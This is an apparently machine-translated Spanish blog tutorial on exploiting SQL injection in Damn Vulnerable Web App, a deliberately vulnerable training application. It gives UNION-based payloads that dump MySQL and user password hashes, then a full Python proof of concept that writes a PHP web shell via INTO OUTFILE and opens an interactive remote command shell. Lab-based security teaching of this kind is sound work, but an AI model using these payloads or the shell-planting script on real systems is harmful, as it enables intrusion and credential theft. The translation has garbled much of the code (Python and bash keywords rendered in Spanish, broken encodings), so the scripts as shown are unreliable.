Damn Vulnerable Web App – SQL Injection
Autor:
Ashfaq Ansari

Comentado por:
Clasificación:
5
En Octubre 1, 2012
Última modificación:Enero 18, 2013

Resumen:

Paso a paso y enfoque automático para hacer ataque de inyección SQL en Damn Vulnerable Web Application.

Introducción

Damn Vulnerable Web App (DVWA) es un PHP / MySQL aplicación web que es condenadamente vulnerable y puede ser explotado easily.Its objetivos principales deben ser una ayuda para los profesionales de la seguridad para poner a prueba sus habilidades y herramientas en un entorno jurídico, ayudar a los desarrolladores web a comprender mejor los procesos de las aplicaciones web de sujeción y los profesores / estudiantes de ayuda para enseñar / aprender seguridad de las aplicaciones web en un entorno de laboratorio.

Advertencia!

Damn Vulnerable Web App es condenadamente vulnerable! No cargue a su proveedor de alojamiento public_html carpeta o en cualquier servidor web que funcione, ya que será hackeado. Te recomiendo descargar e instalar XAMPP en una máquina local dentro de su LAN que se utiliza exclusivamente para la prueba.
No nos hacemos responsables por la forma en que utiliza cualquiera Damn Vulnerable Web App (DVWA). Hemos hecho los efectos de la aplicación clara y no debería ser utilizado maliciosamente. Hemos dado advertencias y medidas adoptadas para evitar que los usuarios instalen DVWA a vivir servidores web. Si el servidor web se compromete a través de una instalación de DVWA no es nuestra responsabilidad, es responsabilidad de la persona que ha subido y lo instalé.

Instalación

En general tenemos que XAMPP servidor para configurar la aplicación web vulnerable, pero maldita XAMPP servidor no es más que una colección de Apache, SQL, Perl, PHP, OpenSSL y del otro software del lado del servidor, pero BackTrack 5 tiene todos estos programas está instalado. Esto significa que no hay necesidad de instalar XAMPP en la máquina marcha atrás. Todo lo que necesitas hacer es conseguir Damn Vulnerable Web App y lo puso en el directorio raíz del BackTrack 5.

Un guión maravilloso golpe está disponible que automatizan todo el proceso de. Gracias a: Travis Phillips.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
eco ""
eco "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
eco "Vulnerable Web App Instalador Script # Damn #"
eco "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
eco "Coded By: Travis Phillips"
eco "Sitio web: http://theunl33t.blogspot.com\n"
eco "Modificado por: Ashfaq Ansari\n"
eco "Sitio web: http://hacksys.vfreaks.com\n"

eco "[*] Cambiar al directorio / var / www ..."
CD /era/www > /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Crear directorio DVWA ..."
mkdir DVWA > /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Cambio al directorio Temp ..."
CD /tmp
eco -y "Hecho!\n"

eco "[*] Descarga DVWA ..."
wget http://voxel.dl.sourceforge.net/proyecto/DVWA/DVWA-1.0.7.zip
eco -y "Hecho!\n"

eco -n "[*] DVWA descomprimir ..."
abrir la cremallera DVWA-1.0.7.zip > /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Eliminar el archivo zip ..."
rm DVWA-1.0.7.zip > /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Copia DVWA a raíz del directorio web ..."
cp -R DVWA/* /era/www/DVWA > /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Clearing directorio Temp ..."
rm -R DVWA > /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Activación remota de incluir en php.ini ..."
cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1
sed -y 'S / allow_url_include = Off / On allow_url_include = /' /etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.ini
rm /etc/php5/apache2/php.ini1
eco -y "Hecho!\n"

eco -n "[*] Habilitar permisos de escritura en / var / www / DVWA / piratear / subida ..."
chmod 777 /era/www/DVWA/piratear/archivos/
eco -y "Hecho!\n"

eco -n "[*] A partir de servicios Web ..."
servicio apache2 inicio &amperio;> /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Arrancar MySQL ..."
servicio de mysql inicio &amperio;> /dev/cero
eco -y "Hecho!\n"

eco -n "[*] Actualización del archivo de configuración ..."
cp /era/www/DVWA/config/config.inc.php /era/www/DVWA/config/config.inc.php1
sed -y 'S /'\'\''/'\''Toor'\''/' /era/www/DVWA/config/config.inc.php1 > /era/www/DVWA/config/config.inc.php
rm /era/www/DVWA/config/config.inc.php1
eco -y "Hecho!\n"

eco -n "[*] Actualización de Base de Datos ..."
wget --después de los datos "CREATE_DB = Crear / Restaurar base de datos" http://127.0.0.1/DVWA/setup.php &amperio;> /dev/cero
mysql -usted raíz --contraseña='Toor' -y 'Actualización dvwa.users establecen avatar = "/ hackable / users / gordonb.jpg" donde user = "gordonb";'
mysql -usted raíz --contraseña='Toor' -y 'Actualización dvwa.users establecen avatar = "/ hackable / users / smithy.jpg" donde user = "herrero";'
mysql -usted raíz --contraseña='Toor' -y 'Actualización dvwa.users establecen avatar = "/ hackable / users / admin.jpg" donde usuario = "admin";'
mysql -usted raíz --contraseña='Toor' -y 'Actualización dvwa.users establecen avatar = "/ hackable / users / pablo.jpg" donde user = "pablo";'
mysql -usted raíz --contraseña='Toor' -y 'Actualización dvwa.users establecen avatar = "/ hackable/users/1337.jpg" donde user = "1337";'
eco -y "Hecho!\n"

eco -y -n "[*] A partir de Firefox para DVWA\nNombre de usuario: administración\nContraseña: contraseña"
firefox http://127.0.0.1/DVWA/login.php &amperio;> /dev/cero &amperio;
eco -y "\nHecho!\n"
eco -y "[\033[1;32m * 033[1;37m] DVWA Instalar Finalizado!\n"

DVWA se ha instalado correctamente, vamos a pasar a SQL Injection. Hay tres niveles de inyección SQL en Aplicación Web Damn Vulnerable (Bajo, Medio y Alto). En este post vamos a explicar cómo derrotar el nivel bajo.

Código Vulnerable

1
2
3
4
5
6
$identificación=$_GET['Id'];

$getId="SELECT nombre apellido, apellidos FROM usuarios WHERE user_id = '$identificación'";
$resultar=mysql_query($getId) o la('
<pre>'
. mysql_error() . '</pre>
'
);

El código anterior es vulnerable a SQL Injection. Como se puede ver no hay desinfección utilizados, la variable simplemente se inserta directamente en la consulta SQL.

Vamos a confirmar si es vulnerable a inyección SQL:

Usuario: ‘

La página mostrará el siguiente mensaje de error:

Usted tiene un error en su sintaxis SQL; consulte el manual que corresponde a su versión del servidor MySQL para la sintaxis correcta a usar cerca ””’ en la línea 1

Esto confirma que es vulnerable a inyección SQL, Lo primero que debe hacer es averiguar cuántas columnas hay:

Usuario: ‘ ORDER BY 1#
Usuario: ‘ ORDER BY 2#

Estos simplemente devuelven la misma página.

Usuario: ‘ ORDER BY 3#

Entonces esto nos da un mensaje de error invaluable:

Desconocido columna '3’ in 'order clause’

Por lo tanto, hay dos columnas, que son, obviamente, el first_name y last_name columnas como cuando se pasa el ID de usuario: formar un ID de usuario válido (1) por ejemplo, recibe este:

Identificación: 1
Nombre de pila: administración
Apellido: administración

Derecho, ahora es el momento de averiguar el nombre de la base de datos, nombre de la tabla, nombre de columna y cualquier otra cosa útil e interesante. Primero lo primero que vamos a averiguar la versión de base de datos:

Identificación: ‘ UNION ALL SELECT 1, @ @ VERSION #
Nombre de pila: 1
Apellido: 5.1.41-3ubuntu12.10

Por lo que es el uso de MySQL 5.1.41-3 en Ubuntu. Vamos a encontrar al usuario la base de datos se está ejecutando como y el nombre de la base de datos que nos ocupa:

Identificación: ‘ Usuario UNION ALL SELECT(),base de datos()#
Nombre de pila: root @ localhost
Apellido: DVWA

El usuario de base de datos es raíz y la base de datos que nos interesa es DVWA. Dado que el usuario es root vamos a volcar hash de MySQL:

Identificación: ‘ Usuario UNION ALL SELECT,contraseña desde mysql.user #
Nombre de pila: raíz
Apellido: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identificación: ‘ Usuario UNION ALL SELECT,contraseña desde mysql.user #
Nombre de pila: raíz
Apellido: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identificación: ‘ Usuario UNION ALL SELECT,contraseña desde mysql.user #
Nombre de pila: raíz
Apellido: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identificación: ‘ Usuario UNION ALL SELECT,contraseña desde mysql.user #
Nombre de pila: debian-sys-maint
Apellido: *8C4C424D182238AFBA8B217F692D07C952EF4087

Identificación: ‘ Usuario UNION ALL SELECT,contraseña desde mysql.user #
Nombre de pila: raíz
Apellido: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identificación: ‘ Usuario UNION ALL SELECT,contraseña desde mysql.user #
Nombre de pila: administración
Apellido: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Wow! Tenemos el hash passord raíz. Podemos utilizar John The Ripper para romper el hash.

Sabemos el nombre de base de datos es DVWA. Vamos a ver el nombre de la tabla:

Identificación: ‘ UNION ALL SELECT esquema_tabla,nombre_tabla DESDE DONDE INFORMATION_SCHEMA.TABLES esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: libro de visitas

Identificación: ‘ UNION ALL SELECT esquema_tabla,nombre_tabla DESDE DONDE INFORMATION_SCHEMA.TABLES esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: usuarios

Hay dos tablas de DVWA base de datos denominada como libro de visitas y usuarios

Ahora, vamos a averiguar columnas en usuarios tabla.

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: comment_id

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: comentario

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: nombre

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: user_id

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: 'nombre

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: last_name

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: usuario

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: contraseña

Identificación: ‘ UNION ALL SELECT esquema_tabla, column_name DESDE DONDE INFORMATION_SCHEMA.COLUMNS esquema_tabla LIKE '% DVWA%’ #
Nombre de pila: DVWA
Apellido: avatar

Impresionante, vamos a volcar el nombre de usuario y la contraseña de dvwa.users tabla. Aquí vamos.

Identificación: ‘ Usuario UNION ALL SELECT, contraseña desde dvwa.users #
Nombre de pila: administración
Apellido: 5f4dcc3b5aa765d61d8327deb882cf99

Identificación: ‘ Usuario UNION ALL SELECT, contraseña desde dvwa.users #
Nombre de pila: gordonb
Apellido: e99a18c428cb38d5f260853678922e03

Identificación: ‘ Usuario UNION ALL SELECT, contraseña desde dvwa.users #
Nombre de pila: 1337
Apellido: 8d3533d75ae2c3966d7e0d4fcc69216b

Identificación: ‘ Usuario UNION ALL SELECT, contraseña desde dvwa.users #
Nombre de pila: pablo
Apellido: 0d107d09f5bbe40cade3de5c71e9e9b7

Identificación: ‘ Usuario UNION ALL SELECT, contraseña desde dvwa.users #
Nombre de pila: herrería
Apellido: 5f4dcc3b5aa765d61d8327deb882cf99

Trabajo hecho. Hemos descargado correctamente las credenciales de usuario. Podemos acabar con ellos utilizando cualquier galleta hash MD5.

HackSys equipo ha creado un PoC en Python que ayuda en la Inyección SQL automático en DVWA y le da un intérprete de comandos donde podemos ejecutar comandos de shell regulares.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / bin / python
#________________________________________________
#    Damn Vulnerable Web Application - DVWA
#     SQL Injection Exploit de RCE - PoC
#   por Ashfaq Ansari (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (Ltd.)   http://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ Power by HackSys Equipo - Panthera
#________________________________________________
#
importar sis, enchufe, urllib, re, urllib2, getpass, cadena, tiempo, azar, base64
de optparse importar OptionParser
de cookielib importar CookieJar

descLogo = """
________________________________________________

     Damn Vulnerable Web Application - DVWA
           SQL Injection de RCE - PoC
   por Ashfaq Ansari (hacksysteam@hotmail.com)

            (__)
            (Ltd.)  http://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ Power by HackSys Equipo - Panthera
________________________________________________

"""


#Variables de color que se utilizará con el comando de impresión
RED= "\033[31m" # rojo
GREEN= "\033[32m" # verde
BLANCO= "\033[0m" # blanco
CIAN = "\033[36m" #cian
PURPLE = "\033[35m" #púrpura

#Variables
urlStart = "Vulnerabilidades / sqli / index.php?id ="
urlEnd = "&Enviar Enviar ="
nombreshell = "Fd7cb4cb0031ba249"
agentes = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "Opera 9.25 (Windows Vista)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; Usted; en)"]
agente = azar.elección(agentes)


#Uso de resumen de la ayuda
uso = CIAN + ". /% PROG [<Opciones>] -t [objetivo] -d [directorio]"
uso += "\nEjemplo: ./%prog-p localhost:8080 -t 192.168.1.15:8080 -d / DVWA /"

#Opciones del Analizador
parser = OptionParser(uso=uso)
parser.add_option("-P", tipo="String",acción="Tienda", dest="Proxy",
                  ayudar="Proxy HTTP <servidor:puerto>")
parser.add_option("-T", tipo="String", acción="Tienda", dest="Target",
                  ayudar="El servidor de destino <servidor:puerto>")
parser.add_option("-D", tipo="String", acción="Tienda", dest="Dirpath",
                  ayudar="La ruta del directorio de la aplicación web de Damn Vulnerable")
(Opciones, args) = parser.parse_args()


#Al escribir texto - Sólo por diversión
def typingText(mensaje de texto, color):
 
  intentar:
    para yo en mensaje de texto:
      imprimir color + "\b%s"%yo,
      sis.stdout.enjuagar()
      tiempo.dormir(0.020)
  excepto:
    pasar
 

si sólo(sis.argv) < 5:
    typingText(descLogo, PURPLE)
    parser.print_help()
    sis.salida(1)
   

#Controlador Proxy
def GetProxy():
 
    intentar:
        proxy_handler = urllib2.Manejador de Proxy({'Http': Opciones.apoderado})
    excepto(enchufe.tiempo de espera):
            imprimir RED + "\tProxy tiempo de espera ...\n"
            sis.salida(1)
    volver proxy_handler


#Conexión proxy prueba
def testProxy():
 
    imprimir(CIAN + "[+] Prueba de proxy @% s ..." % (Opciones.apoderado))
    abrelatas = urllib2.build_opener(GetProxy())
   
    intentar:
      comprobar = abrelatas.abrir("Http://www.google.com").leer()
    excepto:
      comprobar = 0
      pasar
   
    si comprobar >= 1:
      imprimir(GREEN + "\tProxy se encuentra para trabajar ...\n")
    más:
      imprimir RED + "\tProxy no ... Salir!\n"
      sis.salida(1)


#Obtener la respuesta del servidor
def getServerResponse(cj, targetURL, datos):
     
    si Opciones.apoderado:
      intentar:
    abrelatas = urllib2.build_opener(GetProxy(), urllib2.HTTPCookieProcessor(cj))
    abrelatas.addHeaders = [('User-agent', agente)]
    comprobar = abrelatas.abrir(targetURL, datos).leer()
    volver comprobar
      excepto:
    imprimir (RED + "\tConexión Proxy no pudo destino remoto ...\n")
    sis.salida(1)
    más:
      intentar:
    abrelatas = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    abrelatas.addHeaders = [('User-agent', agente)]
    comprobar = abrelatas.abrir(targetURL, datos).leer()
    volver comprobar
      excepto:
    imprimir (RED + "\tConexión de destino no, comprobar su dirección ...\n")
    sis.salida(1)


#Intenta acceder a Maldita Aplicación Web Vulnerable
def doLogin():
 
    imprimir(CIAN + "[+] Intentar acceder a DVWA ...")
    targetURL = "Http://" + Opciones.objetivo + Opciones.dirpath + "Login.php"
    valores = {'Username' : 'Admin', 'Password' : 'Password', 'Login' : 'Login'}
    datos = urllib.urlencode(valores)
    cj = CookieJar()
   
    #Obtener la respuesta del servidor y almacenarla en una variable
    respHTML = getServerResponse(cj, targetURL, datos)
       
    si no re.búsqueda("Error de acceso", respHTML):
      tiempo.dormir(1)
      typingText("\tAutenticación exitosa ...\n\n", GREEN)
      volver cj
    más:
      tiempo.dormir(1)
      typingText("\tAutenticación denegada! Salir ...\n\n\n", RED)
      sis.salida(1)


#Trate de tamperthe nivel de seguridad de aplicaciones Web Damn Vulnerable
def lowSecurity(adminCookie):
 
    imprimir(CIAN + "[+] Alterar la seguridad de DVWA ...")
    targetURL = "Http://" + Opciones.objetivo + Opciones.dirpath + "Security.php"
    valores = {"Seguridad" : "Bajo", 'Seclev_submit' : 'Enviar'}
    datos = urllib.urlencode(valores)
    cj = adminCookie #Utilice la cookie regresó de doLogin() función
   
    #Obtener la respuesta del servidor y almacenarla en una variable
    respHTML = getServerResponse(cj, targetURL, datos)
   
    si re.búsqueda("Nivel de seguridad es actualmente <en>bajo</en>", respHTML):
      tiempo.dormir(1)
      typingText("\tNivel de seguridad establecido con éxito en LOW ...\n\n", GREEN)
    más:
      tiempo.dormir(1)
      typingText("\tNo es posible alterar el nivel de seguridad! Salir ...\n\n", RED)
      sis.salida(1)


#Compruebe si el objetivo es vulnerable a inyección SQL
def testSQLinjection(adminCookie):
 
    imprimir(CIAN + "[+] Comprobación de si el objetivo es vulnerable ...")
    injection_url = "1""
    targetURL = "Http://" + Opciones.objetivo + Opciones.dirpath + urlStart + injection_url + urlEnd
    datos = ""
   
    cj = adminCookie #Utilice la cookie regresó de doLogin() función

    #Obtener la respuesta del servidor y almacenarla en una variable
    respHTML = getServerResponse(cj, targetURL, datos)
   
    si re.búsqueda("Error en su sintaxis SQL", respHTML):
      tiempo.dormir(1)
      typingText("\tw00t -- Target encontrado vulnerable ...\n\n", GREEN)
    más:
      tiempo.dormir(1)
      typingText("\to00w -- El objetivo no es vulnerable! Salir ...\n\n", RED)    
      sis.salida(1)


#Encuentre datos de MySQL
def findMySQLInfo(adminCookie):
 
    imprimir(CIAN + "[+] Retriving información MySQL ...")
    injection_url = "1 ' UNION ALL SELECT CONCAT_WS(0X3B,0x4861636b537973205465616d,usuario(),base de datos(),versión(),0x4861636b537973205465616d)%2C2; #"
    targetURL = "Http://" + Opciones.objetivo + Opciones.dirpath + urlStart + injection_url + urlEnd
    datos = ""
   
    cj = adminCookie #Utilice la cookie regresó de doLogin() función

    #Obtener la respuesta del servidor y almacenarla en una variable
    respHTML = getServerResponse(cj, targetURL, datos)
   
    # Ahora extraer la información interesante
    get_secret_data = cadena.encontrar(respHTML,  "Equipo HackSys")
     
    # Si el objetivo no es la salida vulnerables
    si get_secret_data == -1:
        typingText("\tError en la operación. Salir ahora ...\n\n", RED)
        sis.salida(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = cadena.encontrar(new_html4,  "Equipo HackSys")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # Se recibieron datos, Ahora formato y mostrar que
    formatted_output = er.división(new_html_5,  ";")
    tiempo.dormir(1)
    imprimir GREEN + "\tBase de datos MySQL: ",  formatted_output[2]
    imprimir GREEN + "\tVersión de MySQL : ",  formatted_output[3]
    imprimir GREEN + "\tMySQL Database usuario : ",  formatted_output[1]
    imprimir ""
    volver


#Trate de número de registros en la tabla de usuarios
def findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1 ' UNION ALL SELECT 1% 2C COUNT(*)+de usuarios % 3B% 23"
    targetURL = "Http://" + Opciones.objetivo + Opciones.dirpath + urlStart + injection_url + urlEnd
    datos = ""
   
    cj = adminCookie #Utilice la cookie regresó de doLogin() función

    #Obtener la respuesta del servidor y almacenarla en una variable
    respHTML = getServerResponse(cj, targetURL, datos)
   
    # Ahora extraer la información interesante
    get_secret_data = cadena.encontrar(respHTML,  "<br>Apellido:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = cadena.encontrar(new_html,  "</pre>\r\n\r\n\t</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # Se recibieron datos, Ahora formato y mostrar que
    formatted_output = er.división(new_html_2,  ": ")
    volver formatted_output[2]
   

#Trata de volcar el nombre de usuario y contraseña de tabla de usuarios
def findUserPasswords(adminCookie, índice):
 
    injection_url = "1 ' UNION ALL SELECT 1% 2C CONCAT_WS(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+DE usuarios LIMIT " + er(índice) + "% 2C30% 3B% 23"
    targetURL = "Http://" + Opciones.objetivo + Opciones.dirpath + urlStart + injection_url + urlEnd
    datos = ""
   
    cj = adminCookie #Utilice la cookie regresó de doLogin() función

    #Obtener la respuesta del servidor y almacenarla en una variable
    respHTML = getServerResponse(cj, targetURL, datos)
   
    # Ahora extraer la información interesante
    get_secret_data = cadena.encontrar(respHTML,  "Equipo HackSys")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = cadena.encontrar(new_html,  "Equipo HackSys")    
    new_html_2 = new_html[:new_get_secret_data]

    # Se recibieron datos, Ahora formato y mostrar que
    formatted_output = er.división(new_html_2,  ";")
    tiempo.dormir(1)
    imprimir GREEN + "\tID de usuario : ",  formatted_output[1]
    imprimir GREEN + "\tNombre: ",  formatted_output[2]
    imprimir GREEN + "\tApellido : ",  formatted_output[3]
    imprimir GREEN + "\tNombre de usuario: ",  formatted_output[4]
    imprimir GREEN + "\tPassword Hash : ",  formatted_output[5]
    imprimir ""


#Trate de cargar un tinyShell para el ataque interactivo
def uploadShellViaSQLi(adminCookie):
 
    imprimir(CIAN + "[+] Carga de Shell a través de SQLi ...")
   
    #XAMPP en Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #Linux
    injection_url = "1% 27 UNION ALL SELECT % 27% 27% 2C % 27% 3c% Sistema 3Fphp (base64_decode(%24_GET[%22cmd% 22% 5D% 29% 29% 3% 27% 3B % 3F INTO OUTFILE % 27% 2Fvar% 2F% 2Fwww% 2Fdvwa" + nombreshell + ". Php% 27% 23% 3B"
   
    targetURL = "Http://" + Opciones.objetivo + Opciones.dirpath + urlStart + injection_url + urlEnd
    datos = ""
   
    cj = adminCookie #Utilice la cookie regresó de doLogin() función

    #Obtener la respuesta del servidor y almacenarla en una variable
    respHTML = getServerResponse(cj, targetURL, datos)

    si re.búsqueda("<h3>ID de usuario:</h3>", respHTML):
      tiempo.dormir(1)
      typingText("\tw00t -- Shell ha subido correctamente ...\n\n", GREEN)
    elif re.búsqueda("Ya existe</pre>", respHTML):
      tiempo.dormir(1)
      typingText("\tw00t -- Shell ya existe ...\n\n", GREEN)  
    más:
      tiempo.dormir(1)
      typingText("\to00w -- No se puede subir el shell ...\n\n", RED)
      sis.salida(1)


#Iniciar sesión ataque interactivo
def interactiveAttack(adminCookie):
 
  imprimir CIAN + "[+] Entrando consola remota interactiva (q para dejar de fumar)\n" + BLANCO + "\n  HackSys equipo - Panthera\n   Autor: Ashfaq Ansari\n  hacksysteam@hotmail.com\n http://hacksys.vfreaks.com /\n\n"
  hn = GREEN + "% S @% s # " % (getpass.getUser(), Opciones.objetivo) + BLANCO
  cmd = ""
  datos = ""
  cj = adminCookie
  mientras cmd != 'Q':
    intentar:
      cmd = raw_input(hn)
      cmd64 = base64.b64encode(cmd)      
      targetURL = ("Http://%s% s% s.php?cmd =% s" % (Opciones.objetivo, Opciones.dirpath, nombreshell, cmd64))
      o = getServerResponse(cj, targetURL, cmd64)
      shellOutput = o.división("Admin")
      imprimir BLANCO + shellOutput[2]
    excepto:
      romper
 
  # suicidio
  rmShell = base64.b64encode("% S.php rm" % (nombreshell))
  targetURL = ("Http://%s% s% s.php?cmd =% s" % (Opciones.objetivo, Opciones.dirpath, nombreshell, rmShell))
  o = getServerResponse(cj, targetURL, rmShell)

     
#Función principal
def principal():
 
  #Imprimir el banner en estilo de texto Typing
  typingText(descLogo, PURPLE)
 
  #Comprobar y conectar el servidor proxy si se especifica el argumento usando-p
  si Opciones.apoderado:
    testProxy()

  #Coge la cookie de administrador
  adminCookie = doLogin()
 
  #Sabotaje del nivel de seguridad
  lowSecurity(adminCookie)
 
  #Vulnerabilidad de inyección SQL Prueba
  testSQLinjection(adminCookie)
 
  #Volcado de datos MySQL
  findMySQLInfo(adminCookie)
 
  #Buscar el número de registros en la tabla de usuarios
  totalRecords = int(findNoOfRecordsInTable(adminCookie))
 
  imprimir(CIAN + "[+] Retriving nombre de usuario y contraseñas ...")
 
  para índice en alcance(1,totalRecords 1):
    #Volcado de contraseñas de uso
    findUserPasswords(adminCookie, índice)
 
  #Sube el tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #Comience ataque interactivo
  interactiveAttack(adminCookie)
 
si __name__ == "__main__":
    principal()

Descarga Damn Vulnerable Web App – SQL Injection PoC

 

DVWA_SQLi.zip

 
Gracias por tomarse el tiempo para leer este post. Si tienes cualquier problema, no dude en escribirnos a favor: hacksysteam@hotmail.com

 
 

178,067 visitas totales, 48 vistas hoy

Las dos fichas siguientes cambian el contenido a continuación.

Ashfaq Ansari

Investigador de Seguridad
Ashfaq Ansari es el fundador de código Equipo HackSys llamado "Panthera". Él es un investigador de seguridad con experiencia en diversos aspectos de la seguridad de la información. Es autor "HackSys Extreme Vulnerable Conductor" y "Shellcode de la Muerte". También ha escrito y publicado varios documentos técnicos sobre la explotación de software de bajo nivel. Su interés principal radica en "Bajo Explotación Nivel", "Ingeniería Inversa", "Programa de Análisis" y "Híbrido Fuzzing". Él es un fanático de la Inteligencia Artificial y Aprendizaje Automático. Él es el principal capítulo para nula Pune.

No Responses to “Damn Vulnerable Web App – SQL Injection”

Trackbacks / Pingbacks

  1. Damn Vulnerable Web App - Inclusión de archivos locales (LFI) | HackSys equipo - Computer Security Research, Pruebas de Penetración, Ethical Hacking, Soporte técnico de Windows - [...] usted no ha leído la primera parte, aquí está el enlace: http://hacksys.vfreaks.com / pen-testing / damn-vulnerable-web-app-sql-injection.html [...]

Deja un comentario

Su dirección de correo electrónico no será publicada. Los campos necesarios están marcados *